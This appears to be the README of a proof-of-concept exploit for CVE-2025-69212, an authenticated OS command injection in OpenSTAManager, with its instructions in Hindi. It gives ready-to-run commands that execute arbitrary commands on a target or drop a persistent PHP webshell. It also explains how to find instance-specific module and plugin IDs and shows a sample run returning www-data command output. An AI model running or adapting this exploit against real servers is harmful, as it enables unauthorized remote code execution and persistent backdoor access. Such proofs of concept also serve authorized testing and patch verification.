
CVE-2025-69212 - OpenSTAManager ओएस कमांड इंजेक्शन PoC
निर्भरताएँ इंस्टॉल करें:
pip install -r requirements.txt
एकल कमांड चलाएँ और उसका आउटपुट प्रिंट करें:
python3 cve-2025-69212_poc.py -u http://target.com -U admin -P 'password' -c 'id'
इसके बजाय एक स्थायी PHP वेबशेल ड्रॉप करें:
python3 cve-2025-69212_poc.py -u http://target.com -U admin -P 'password' --shell
| Flag | विवरण |
|---|---|
-u, --url | लक्ष्य इंस्टेंस का बेस URL |
-U, --username | प्रमाणीकरण के लिए उपयोगकर्ता नाम |
-P, --password | प्रमाणीकरण के लिए पासवर्ड |
-c, --command | निष्पादित करने के लिए कमांड, आउटपुट pwn_out.txt में सहेजा जाता है |
--shell | एकल कमांड चलाने के बजाय files/shell.php पर PHP वेबशेल ड्रॉप करें |
--id-module | इनवॉइस आयात सुविधा के लिए मॉड्यूल ID (डिफ़ॉल्ट: 14) |
--id-plugin | इनवॉइस आयात सुविधा के लिए प्लगिन ID (डिफ़ॉल्ट: 48) |
id_module और id_plugin इंस्टेंस-विशिष्ट हैं। यदि डिफ़ॉल्ट मान काम नहीं करते हैं, तो लक्ष्य के वेब UI में लॉग इन करें, इलेक्ट्रॉनिक इनवॉइस आयात सुविधा पर जाएँ, और अपने ब्राउज़र के नेटवर्क टैब में अनुरोध पैरामीटर जाँचें।
$ python3 cve-2025-69212_poc.py -u http://target.com -U admin -P 'password' -c 'id'
[*] Logging in as admin ...
[+] Authenticated.
[*] Building payload to run: id
[*] Uploading exploit ZIP to id_module=14 id_plugin=48 ...
[*] Server responded: HTTP 500 (500 after command execution is expected)
[*] Fetching command output from http://target.com/files/pwn_out.txt ...
[+] Command output:
--------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
--------------------------------------------------